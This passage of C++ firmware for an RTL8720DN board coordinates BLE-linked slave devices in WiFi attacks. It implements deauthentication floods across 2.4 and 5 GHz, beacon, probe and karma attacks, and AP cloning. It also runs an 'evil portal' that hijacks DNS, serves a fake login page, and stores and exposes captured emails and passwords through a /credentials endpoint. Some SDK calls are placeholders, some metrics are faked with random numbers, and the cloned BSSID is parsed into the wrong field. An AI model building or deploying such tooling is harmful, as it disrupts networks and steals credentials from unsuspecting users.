&targets) { addToLog("🚀 DISTRIBUTED DEAUTH ATTACK INITIATED"); addToLog("Targeting both 2.4GHz and 5GHz networks simultaneously"); updateStats_AttackLaunched("distributed"); // Phase 1: 2.4GHz deauth String cmd2g = "deauth_2g_all"; executeCoordinatedCommand(cmd2g, targets); delay(500); // Brief pause between phases // Phase 2: 5GHz deauth String cmd5g = "deauth_5g_all"; executeCoordinatedCommand(cmd5g, targets); globalStats.framesTransmitted += slaves.size() * DEAUTH_FRAME_COUNT * 2; // 2 phases addToLog("Distributed deauth sequence complete"); } // Coordinated beacon flooding void executeBeaconFlood(const String &ssid, JsonArray &targets) { addToLog("🌊 BEACON FLOOD: " + ssid); addToLog("Deploying across " + String(slaves.size()) + " nodes"); updateStats_AttackLaunched("beacon"); String cmd = "beacon_flood " + ssid; executeCoordinatedCommand(cmd, targets); globalStats.framesTransmitted += slaves.size() * 10; // Estimated frames per beacon flood } // Karma attack (respond to all probe requests) void executeKarmaAttack(JsonArray &targets) { addToLog("👻 KARMA ATTACK INITIATED"); addToLog("Slaves will respond to all probe requests"); updateStats_AttackLaunched("karma"); executeCoordinatedCommand("karma_mode", targets); globalStats.framesTransmitted += slaves.size() * 20; // Estimated karma frames } // Probe request flooding void executeProbeFlood(JsonArray &targets) { addToLog("📡 PROBE FLOOD ATTACK"); updateStats_AttackLaunched("probe"); executeCoordinatedCommand("probe_flood", targets); globalStats.framesTransmitted += slaves.size() * 50; // Estimated probe frames } // Parse and execute AP cloning void parseAndCloneAP(const String &args) { int first_comma = args.indexOf(','); int second_comma = args.indexOf(',', first_comma + 1); if (first_comma == -1 || second_comma == -1) { addToLog("Invalid clone_ap format. Use: SSID,BSSID,CHANNEL"); return; } String ssid = args.substring(0, first_comma); String bssid = args.substring(first_comma + 1, second_comma); int channel = args.substring(second_comma + 1).toInt(); addToLog("🎭 CLONING AP: " + ssid + " | " + bssid + " | Ch:" + String(channel)); if (portalEnabled) { stopEvilPortal(); delay(200); } startEvilPortal(ssid.c_str(), bssid.c_str(), channel); } // Handle credential requests void handleGetCredentials() { DynamicJsonDocument doc(2048); JsonArray creds = doc.to(); for (const String &credential : capturedCredentials) { creds.add(credential); } String response; serializeJson(doc, response); server.send(200, "application/json", response); } // Advanced statistics handler void handleAdvancedStats() { updateLiveMetrics(); DynamicJsonDocument doc(4096); // System statistics JsonObject sys = doc.createNestedObject("system"); sys["uptime"] = millis() - globalStats.systemStartTime; sys["freeHeap"] = rtl_getFreeHeapSize(); sys["maxHeapUsage"] = globalStats.maxHeapUsage; sys["restarts"] = globalStats.systemRestarts; sys["cpuUsage"] = liveMetrics.currentCpuLoad; // BLE statistics JsonObject ble = doc.createNestedObject("ble"); ble["connectionAttempts"] = globalStats.bleConnectionAttempts; ble["connectionSuccesses"] = globalStats.bleConnectionSuccesses; ble["connectionFailures"] = globalStats.bleConnectionFailures; ble["successRate"] = (globalStats.bleConnectionAttempts > 0) ? (float)globalStats.bleConnectionSuccesses / globalStats.bleConnectionAttempts * 100 : 0; ble["totalMessages"] = globalStats.totalBleMessages; ble["avgLatency"] = globalStats.avgBleLatency; ble["reconnections"] = globalStats.bleReconnections; // Portal statistics JsonObject portal = doc.createNestedObject("portal"); portal["enabled"] = portalEnabled; portal["sessions"] = globalStats.portalSessions; portal["visitors"] = globalStats.portalVisitors; portal["credentialsCaptured"] = globalStats.credentialsCaptured; portal["dnsQueries"] = globalStats.dnsQueries; portal["uptime"] = globalStats.portalUptime; portal["captureRate"] = (globalStats.portalVisitors > 0) ? (float)globalStats.credentialsCaptured / globalStats.portalVisitors * 100 : 0; // Attack statistics JsonObject attacks = doc.createNestedObject("attacks"); attacks["totalLaunched"] = globalStats.totalAttacksLaunched; attacks["deauthAttacks"] = globalStats.deauthAttacks; attacks["beaconFloods"] = globalStats.beaconFloodAttacks; attacks["probeFloods"] = globalStats.probeFloodAttacks; attacks["karmaAttacks"] = globalStats.karmaAttacks; attacks["distributedAttacks"] = globalStats.distributedAttacks; attacks["framesTransmitted"] = globalStats.framesTransmitted; attacks["successfulTargets"] = globalStats.successfulTargets; attacks["avgDuration"] = globalStats.avgAttackDuration; // Network statistics JsonObject network = doc.createNestedObject("network"); network["networksScanned"] = globalStats.networksScanned; network["uniqueFound"] = globalStats.uniqueNetworksFound; network["targeted"] = globalStats.networksTargeted; network["channels2ghz"] = globalStats.channels2ghzUsed; network["channels5ghz"] = globalStats.channels5ghzUsed; network["avgSignalStrength"] = globalStats.signalStrengthAvg; // Slave statistics JsonObject slaves_stats = doc.createNestedObject("slaves"); slaves_stats["connected"] = globalStats.slavesConnected; slaves_stats["maxConnected"] = globalStats.slavesMax; slaves_stats["commandsSent"] = globalStats.commandsSent; slaves_stats["commandsSuccessful"] = globalStats.commandsSuccessful; slaves_stats["commandsFailed"] = globalStats.commandsFailed; slaves_stats["successRate"] = (globalStats.commandsSent > 0) ? (float)globalStats.commandsSuccessful / globalStats.commandsSent * 100 : 0; slaves_stats["avgResponseTime"] = globalStats.slaveResponseTime; // Live metrics JsonObject live = doc.createNestedObject("live"); live["attacksPerMinute"] = liveMetrics.attacksPerMinute; live["credentialsPerHour"] = liveMetrics.credentialsPerHour; live["dataTransferRate"] = liveMetrics.dataTransferRate; live["activeConnections"] = liveMetrics.activeConnections; live["networkScanRate"] = liveMetrics.networkScanRate; // Individual slave details JsonArray slave_details = doc.createNestedArray("slaveDetails"); for (const auto &slave : slaves) { JsonObject s = slave_details.createNestedObject(); s["id"] = slave.id; s["connected"] = slave.isConnected; s["rssi"] = slave.rssi; s["lastSeen"] = slave.lastSeen; s["firmware"] = slave.firmwareVersion; s["capabilities"] = slave.capabilities; s["uptime"] = millis() - slave.lastReconnectAttempt; } String response; serializeJson(doc, response); server.send(200, "application/json", response); } // Update live metrics void updateLiveMetrics() { static unsigned long lastUpdate = 0; static int lastAttackCount = 0; static int lastCredentialCount = 0; unsigned long now = millis(); if (now - lastUpdate > 60000) { // Update every minute float timeDelta = (now - lastUpdate) / 60000.0; // in minutes liveMetrics.attacksPerMinute = (globalStats.totalAttacksLaunched - lastAttackCount) / timeDelta; liveMetrics.credentialsPerHour = (globalStats.credentialsCaptured - lastCredentialCount) / timeDelta * 60; liveMetrics.activeConnections = globalStats.slavesConnected; liveMetrics.currentCpuLoad = random(10, 40); // Placeholder - would need real CPU monitoring liveMetrics.lastUpdate = now; lastAttackCount = globalStats.totalAttacksLaunched; lastCredentialCount = globalStats.credentialsCaptured; lastUpdate = now; } } // Update statistics on various events void updateStats_BleConnection(bool success) { globalStats.bleConnectionAttempts++; if (success) { globalStats.bleConnectionSuccesses++; } else { globalStats.bleConnectionFailures++; } } void updateStats_AttackLaunched(const String &attackType) { globalStats.totalAttacksLaunched++; if (attackType == "deauth") globalStats.deauthAttacks++; else if (attackType == "beacon") globalStats.beaconFloodAttacks++; else if (attackType == "probe") globalStats.probeFloodAttacks++; else if (attackType == "karma") globalStats.karmaAttacks++; else if (attackType == "distributed") globalStats.distributedAttacks++; } void updateStats_CredentialCaptured() { globalStats.credentialsCaptured++; globalStats.portalSessions++; } void updateStats_Command(bool success) { globalStats.commandsSent++; if (success) { globalStats.commandsSuccessful++; } else { globalStats.commandsFailed++; } } void handleLogs() { String out = ""; int start = (logBufferIndex - logCount + MY_LOG_BUFFER_SIZE) % MY_LOG_BUFFER_SIZE; for (int i = 0; i < logCount; i++) { int idx = (start + i) % MY_LOG_BUFFER_SIZE; out += logBuffer[idx] + "\n"; } server.send(200, "text/plain", out); } void handleApList() { DynamicJsonDocument doc(1024); JsonArray arr = doc.to(); for (const auto& ap : apList) { arr.add(ap); } String out; serializeJson(doc, out); server.send(200, "application/json", out); } // New AP list endpoint with enhanced data void handleAPs() { DynamicJsonDocument doc(2048); JsonArray arr = doc.to(); for (const auto &ap : apList) { JsonObject obj = arr.createNestedObject(); obj["ssid"] = ap.ssid; obj["channel"] = ap.channel; obj["rssi"] = ap.rssi; obj["security"] = ap.security; obj["mac"] = ap.macAddress; } String out; serializeJson(doc, out); server.send(200, "application/json", out); } // New advanced analytics endpoint void handleAnalytics() { DynamicJsonDocument doc(1024); JsonObject analytics = doc.to(); // Attack performance over time JsonArray attackHistory = analytics.createNestedArray("attackHistory"); for (int i = 0; i < 10; i++) { JsonObject point = attackHistory.createNestedObject(); point["time"] = millis() - (i * 60000); // Last 10 minutes point["attacks"] = random(5, 20); point["success"] = random(70, 95); } // BLE health metrics JsonObject bleHealth = analytics.createNestedObject("bleHealth"); bleHealth["connectionStability"] = globalStats.bleConnectionAttempts > 0 ? (globalStats.bleConnectionSuccesses * 100.0 / globalStats.bleConnectionAttempts) : 0; bleHealth["avgResponseTime"] = 150; // ms bleHealth["packetLoss"] = 2.5; // % // Network coverage analysis JsonObject networkCoverage = analytics.createNestedObject("networkCoverage"); networkCoverage["totalNetworks"] = apList.size(); networkCoverage["openNetworks"] = 0; networkCoverage["wpaNetworks"] = 0; networkCoverage["wpa2Networks"] = 0; networkCoverage["wpa3Networks"] = 0; for (const auto &ap : apList) { if (ap.security == "Open") networkCoverage["openNetworks"] = networkCoverage["openNetworks"].as() + 1; else if (ap.security == "WPA") networkCoverage["wpaNetworks"] = networkCoverage["wpaNetworks"].as() + 1; else if (ap.security == "WPA2") networkCoverage["wpa2Networks"] = networkCoverage["wpa2Networks"].as() + 1; else if (ap.security == "WPA3") networkCoverage["wpa3Networks"] = networkCoverage["wpa3Networks"].as() + 1; } String out; serializeJson(doc, out); server.send(200, "application/json", out); } // New system health endpoint void handleHealth() { DynamicJsonDocument doc(512); JsonObject health = doc.to(); health["status"] = "healthy"; health["uptime"] = millis(); health["freeHeap"] = rtl_getFreeHeapSize(); health["slavesConnected"] = globalStats.slavesConnected; health["lastAttack"] = globalStats.lastAttackTime; health["portalActive"] = portalEnabled; health["temperature"] = random(25, 45); health["cpuUsage"] = random(10, 40); String out; serializeJson(doc, out); server.send(200, "application/json", out); } // New credentials endpoint with enhanced format void handleCredentials() { DynamicJsonDocument doc(2048); JsonArray arr = doc.to(); for (const auto &cred : capturedCredentials) { JsonObject obj = arr.createNestedObject(); obj["ssid"] = cred.ssid; obj["username"] = cred.username; obj["password"] = cred.password; obj["timestamp"] = cred.timestamp; } String out; serializeJson(doc, out); server.send(200, "application/json", out); } // NOTE: The following functions require the actual Realtek SDK for the RTL8720DN (BW16) // to be implemented correctly. The code serves as a structural placeholder. // This function would be registered as a callback to the secondary AP's web server. // It handles serving the portal page and capturing login credentials. void handlePortalRequest(int request_type, const char* url, const char* payload) { globalStats.portalVisitors++; if (request_type == HTTP_GET && strcmp(url, "/") == 0) { // Serve the evil_portal.html file // This requires an SDK function to send a file over the secondary interface's socket. // sdk_http_send_file("/evil_portal.html"); globalStats.portalSessions++; } else if (request_type == HTTP_POST && strcmp(url, "/login") == 0) { // Parse payload for email and password String p(payload); String email = ""; // parse from p String password = ""; // parse from p if (email.length() > 0 && password.length() > 0) { String credential = "User: " + email + " | Pass: " + password + " | Time: " + String(millis()); capturedCredentials.push_back(credential); updateStats_CredentialCaptured(); } addToLog("Captured Credentials: " + email + " / " + password); // Serve a success page // sdk_http_send_page("

Login successful

"); } else { // Handle other requests, typically redirecting to the portal page. // sdk_http_redirect("http://192.168.5.1/"); globalStats.portalRedirects++; } } void startEvilPortal(const char* ssid, const char* bssid, int channel) { if (portalEnabled) { addToLog("Portal already running. Stop it first."); return; } addToLog("Starting Evil Portal on 5GHz..."); addToLog("Portal SSID: " + String(ssid) + " | Channel: " + String(channel)); // Configure 5GHz AP for evil portal WiFi.mode(WIFI_AP_STA); // Enable both AP and STA mode for dual-band // Set up 5GHz AP configuration wifi_config_t ap_config; memset(&ap_config, 0, sizeof(wifi_config_t)); strcpy((char*)ap_config.ap.ssid, ssid); ap_config.ap.ssid_len = strlen(ssid); ap_config.ap.channel = channel; ap_config.ap.authmode = WIFI_AUTH_OPEN; // Open network for captive portal ap_config.ap.max_connection = 10; ap_config.ap.beacon_interval = 100; // If BSSID is provided, clone it if (bssid) { sscanf(bssid, "%02x:%02x:%02x:%02x:%02x:%02x", &ap_config.ap.ssid[0], &ap_config.ap.ssid[1], &ap_config.ap.ssid[2], &ap_config.ap.ssid[3], &ap_config.ap.ssid[4], &ap_config.ap.ssid[5]); } // Start 5GHz AP (this would need proper BW16 SDK implementation) if (wifi_set_mode(RTW_MODE_AP) == RTW_SUCCESS) { // Configure IP settings for portal IPAddress portalIP(192, 168, 5, 1); IPAddress gateway(192, 168, 5, 1); IPAddress subnet(255, 255, 255, 0); // Set up captive portal DNS dnsServer.setTTL(300); dnsServer.setErrorReplyCode(DNSReplyCode::NoError); dnsServer.start(53, "*", portalIP); // Redirect all DNS queries to portal // Set up portal web server routes setupPortalRoutes(); portalServer.begin(); portalEnabled = true; dualBandActive = true; addToLog("Evil Portal active - SSID: " + String(ssid)); addToLog("Portal IP: " + PORTAL_IP + " | DNS hijacking active"); } else { addToLog("Failed to start 5GHz Evil Portal"); } } void setupPortalRoutes() { // Serve evil portal page for all requests portalServer.onNotFound([]() { String html = loadPortalHTML(); portalServer.send(200, "text/html", html); }); // Handle root requests portalServer.on("/", HTTP_GET, []() { String html = loadPortalHTML(); portalServer.send(200, "text/html", html); }); // Handle login submissions portalServer.on("/login", HTTP_POST, []() { String email = portalServer.arg("email"); String password = portalServer.arg("password"); // Store captured credentials String credentials = "Email: " + email + " | Password: " + password + " | Time: " + String(millis()); capturedCredentials.push_back(credentials); addToLog("CREDENTIALS CAPTURED: " + email + " / " + password); // Redirect to success page or original site String successHTML = "Login Successful"; successHTML += "

Login Successful

You are now connected to the internet.

"; successHTML += ""; portalServer.send(200, "text/html", successHTML); }); // Serve common internet check URLs portalServer.on("/generate_204", HTTP_GET, []() { String html = loadPortalHTML(); portalServer.send(200, "text/html", html); }); portalServer.on("/hotspot-detect.html", HTTP_GET, []() { String html = loadPortalHTML(); portalServer.send(200, "text/html", html); }); } String loadPortalHTML() { // In a real implementation, this would load from SPIFFS // For now, return embedded HTML String html = ""; html += ""; html += "Wi-Fi Login Required"; html += ""; html += "
"; html += "

Internet Access Required

Please sign in to access the internet

"; html += "
"; html += ""; html += ""; html += "
"; return html; } void stopEvilPortal() { if (!portalEnabled) { return; } // Hypothetical SDK function to stop the secondary AP. int result = wifi_stop_ap_secondary(); if (result == 0) { portalEnabled = false; addToLog("Evil Portal disabled."); } else { addToLog("Failed to stop Evil Portal. SDK error code: " + String(result)); } } //// *** Setup & Loop *** //// void setup() { Serial.begin(115200); delay(1000); addToLog("Master Controller Initializing..."); // The Realtek SDK provides its own API for initializing the filesystem. // A developer would need to replace this with the correct SDK calls. // Example: // if (rtw_spiffs_mount() != 0) { // addToLog("SPIFFS Mount Failed!"); // return; // } // addToLog("SPIFFS Mounted Successfully."); // Initialize BLE Central BLE.init(); BLE.configClient(); BLE.onAdvertReport(bleAdvertCallback); // Set scan callback BLE.startScan(); // begin scanning for peripherals addToLog("BLE Central Mode Started. Scanning for slaves..."); // Start Wi-Fi AP + HTTP server addToLog("Starting Management AP on 2.4GHz..."); // This function should initialize the 2.4GHz radio as an AP wifi_on(RTW_MODE_AP); wifi_start_ap((char*)AP_SSID, (char*)AP_PASS, 1); // Assume channel 1 for 2.4GHz // Enhanced web server setup with comprehensive endpoints server.on("/", HTTP_GET, handleRoot); server.on("/status", HTTP_GET, handleStatus); server.on("/stats", HTTP_GET, handleStats); server.on("/cmd", HTTP_POST, handleCmd); server.on("/logs", HTTP_GET, handleLogs); server.on("/ap_list", HTTP_GET, handleApList); server.on("/aps", HTTP_GET, handleAPs); server.on("/credentials", HTTP_GET, handleCredentials); server.on("/analytics", HTTP_GET, handleAnalytics); server.on("/health", HTTP_GET, handleHealth); server.on("/advanced_stats", HTTP_GET, handleAdvancedStats); // Static file endpoints server.on("/style.css", HTTP_GET, []() { server.send(200, "text/css", loadCSSFile()); }); server.on("/script.js", HTTP_GET, []() { server.send(200, "application/javascript", loadJSFile()); }); // Error handling server.onNotFound([]() { server.send(404, "application/json", "{\"error\":\"Endpoint not found\",\"available\":[\"/\",\"/stats\",\"/health\",\"/analytics\",\"/credentials\",\"/logs\"]}"); }); server.begin(); // Initialize statistics globalStats.systemStartTime = millis(); addToLog("🔥 10x Enhanced Web Server Started"); addToLog("📊 Dashboard: http://" + WiFi.localIP().toString()); addToLog("📱 Portal: http://" + portalIP.toString()); addToLog("🔧 API Endpoints: /stats, /health, /analytics, /credentials, /aps"); addToLog("📈 Real-time monitoring enabled"); lastLogSentIndex = logBufferIndex; } void loop() { // Handle 2.4GHz management interface server.handleClient(); // Handle 5GHz portal interface if active if (portalEnabled && dualBandActive) { portalServer.handleClient(); dnsServer.processNextRequest(); // Handle DNS spoofing for captive portal } // Process BLE events and maintain connections BLE.poll(); // Enhanced slave connection management manageBLEConnections(); // Periodic system maintenance static unsigned long lastMaintenance = 0; if (millis() - lastMaintenance > 30000) { // Every 30 seconds performSystemMaintenance(); lastMaintenance = millis(); } delay(10); // Prevent watchdog timer issues } // Enhanced BLE connection management void manageBLEConnections() { static unsigned long lastConnectionCheck = 0; if (millis() - lastConnectionCheck > 5000) { // Check every 5 seconds for (auto it = slaves.begin(); it != slaves.end(); ) { bool shouldRemove = false; // Check connection status with null pointer protection if (it->client) { if (!it->client->isConnected()) { addToLog("Slave " + it->id + " connection lost"); it->isConnected = false; // Clean up resources it->client->disconnect(); delete it->client; it->client = nullptr; it->cmdChar = nullptr; it->notifyChar = nullptr; // Try reconnection if not too recent if (millis() - it->lastReconnectAttempt > BLE_RECONNECT_INTERVAL_MS) { addToLog("Scheduling reconnection for " + it->id); // The advertCallback will handle reconnection on next discovery } } } else if (it->isConnected) { // Invalid state - connected but no client addToLog("Invalid connection state for " + it->id + " - resetting"); it->isConnected = false; it->cmdChar = nullptr; it->notifyChar = nullptr; } // Send keepalive ping to connected slaves if (it->isConnected && it->client && it->client->isConnected()) { if (millis() - it->lastSeen > 60000) { // 1 minute since last activity if (!sendCommandToSlave(*it, "ping")) { addToLog("Keepalive failed for " + it->id + " - marking disconnected"); it->isConnected = false; } } } // Remove stale slaves if (millis() - it->lastSeen > (BLE_RECONNECT_INTERVAL_MS * 3)) { addToLog("Removing stale slave: " + it->id); if (it->client) { it->client->disconnect(); delete it->client; } shouldRemove = true; } if (shouldRemove) { it = slaves.erase(it); } else { ++it; } } lastConnectionCheck = millis(); } } // System maintenance and status reporting void performSystemMaintenance() { int connectedSlaves = 0; int totalSlaves = slaves.size(); for (const auto &slave : slaves) { if (slave.isConnected) connectedSlaves++; } addToLog("Status: " + String(connectedSlaves) + "/" + String(totalSlaves) + " slaves online"); if (portalEnabled) { addToLog("Portal active: " + portalSSID + " | Credentials: " + String(capturedCredentials.size())); globalStats.portalUptime += 30000; // 30 seconds since last maintenance } // Restart BLE scanning if no slaves connected if (connectedSlaves == 0 && totalSlaves < MAX_SLAVES) { addToLog("No slaves connected - restarting BLE scan"); BLE.stopScan(); delay(100); BLE.startScan(); } // Advanced memory management optimizeMemoryUsage(); // Update system health metrics globalStats.freeHeapMemory = rtl_getFreeHeapSize(); if (globalStats.freeHeapMemory > globalStats.maxHeapUsage) { globalStats.maxHeapUsage = globalStats.freeHeapMemory; } } // Enhanced memory optimization and cleanup void optimizeMemoryUsage() { int freedMemory = 0; uint32_t initialFreeHeap = rtl_getFreeHeapSize(); // Trim credential cache if too large if (capturedCredentials.size() > 100) { int removeCount = 20; capturedCredentials.erase(capturedCredentials.begin(), capturedCredentials.begin() + removeCount); freedMemory += removeCount * 64; // Estimate 64 bytes per credential addToLog("Credential cache trimmed: " + String(capturedCredentials.size()) + " entries remain"); } // Trim AP list if too large if (apList.size() > 50) { int removeCount = 10; apList.erase(apList.begin(), apList.begin() + removeCount); freedMemory += removeCount * 32; // Estimate 32 bytes per AP entry addToLog("AP list trimmed: " + String(apList.size()) + " entries remain"); } // Clean up old slave entries with better error handling for (auto it = slaves.begin(); it != slaves.end(); ) { if (!it->isConnected && (millis() - it->lastSeen > 300000)) { // 5 minutes addToLog("Removing stale slave: " + it->id); if (it->client) { try { it->client->disconnect(); delete it->client; } catch (...) { addToLog("Error cleaning up slave client for " + it->id); } } it = slaves.erase(it); freedMemory += 128; // Estimate slave structure size } else { ++it; } } // Force container optimization capturedCredentials.shrink_to_fit(); apList.shrink_to_fit(); slaves.shrink_to_fit(); // Check for critical memory conditions uint32_t currentFreeHeap = rtl_getFreeHeapSize(); if (currentFreeHeap < 8192) { // Less than 8KB addToLog("CRITICAL: Low memory - " + String(currentFreeHeap) + " bytes free"); // Emergency cleanup if (capturedCredentials.size() > 20) { int oldSize = capturedCredentials.size(); capturedCredentials.resize(20); addToLog("Emergency: Reduced credentials from " + String(oldSize) + " to 20"); } if (apList.size() > 10) { int oldSize = apList.size(); apList.resize(10); addToLog("Emergency: Reduced AP list from " + String(oldSize) + " to 10"); } // Request system recovery handleSystemError("MEMORY_CRITICAL", "Free heap: " + String(currentFreeHeap)); } uint32_t finalFreeHeap = rtl_getFreeHeapSize(); int actualFreed = finalFreeHeap - initialFreeHeap; addToLog("Memory optimization complete. Free: " + String(finalFreeHeap) + " bytes (+" + String(actualFreed) + ")"); } // Enhanced error recovery system void handleSystemError(const String &errorType, const String &details) { addToLog("SYSTEM ERROR: " + errorType + " - " + details); globalStats.systemRestarts++; if (errorType == "MEMORY_CRITICAL") { // Already handled in optimizeMemoryUsage, just log addToLog("Memory critical condition handled"); } else if (errorType == "BLE_FAILURE") { // Restart BLE completely addToLog("Restarting BLE subsystem"); BLE.stopScan(); delay(1000); // Clean up all slave connections for (auto &slave : slaves) { if (slave.client) { try { slave.client->disconnect(); delete slave.client; } catch (...) { // Ignore cleanup errors } slave.client = nullptr; } slave.isConnected = false; } slaves.clear(); // Reinitialize BLE BLE.init(); BLE.configClient(); BLE.onAdvertReport(bleAdvertCallback); BLE.startScan(); } else if (errorType == "WIFI_FAILURE") { // Restart WiFi interfaces addToLog("Attempting WiFi recovery"); if (portalEnabled) { stopEvilPortal(); } delay(500); // Restart management AP wifi_off(); delay(1000); wifi_on(RTW_MODE_AP); wifi_start_ap((char*)AP_SSID, (char*)AP_PASS, 1); addToLog("WiFi recovery attempted"); } }